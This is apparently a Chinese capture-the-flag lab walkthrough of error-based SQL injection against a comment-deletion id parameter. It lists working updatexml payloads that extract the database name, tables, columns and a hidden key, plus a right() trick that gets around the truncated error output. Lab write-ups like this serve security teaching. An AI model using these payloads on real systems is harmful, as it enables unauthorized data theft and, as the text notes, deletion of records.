在这里,当提交留言的时候,删除,左下角会出现id
测试注入 ,尝试order by ,失败
测试and,页面正常回显
试着用报错注入,and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
发现有注入点,数据库是pikaqiu ,
在这里提醒大家不要用id=61~65进行注入,构造一个不存在的最好(如博主用的是23)
至于为什么后面会讲清楚,这里有个坑
获取表 and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikaqiu'),0x7e),1))
爆字段 and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='message' limit 3,1),0x7e),1))
“id”“content”“key” "time“
接下来爆字段值,这里有三个坑
1.因为这个是请求删除的url,前面的如果你请求id为61~65,因为墨者服务器数据库里面存的key的数据在这个范围(没精确到是哪个),当前面注入成功的时候也会删除对应id的key内容,导致最后出现爆字段key值的时候,很多评论会有key值为空的情况。如果遇到这种情况,重启环境再爆字段即可。
2.因为报错内容回显只能回显32位,而"~"占了一个字符,所以爆出来的key值是少1位的,知道原因后就有很多处理方法了,可以有right()方法,也可以爆出31位密码,最后1位一个一个试.
3.key要用单引号括住,否则会报错,因为key是保留字段。
具体解释可以看:https://blog.csdn.net/lkforce/article/details/52983576
最后给出right()方法的解决方案
?id=-61 and updatexml(1,concat(0x7e,right((select group_concat(`key`) from message),32),0x7e),0)
很容易猜出来第一位就是m,最后拼接字符,拿到flag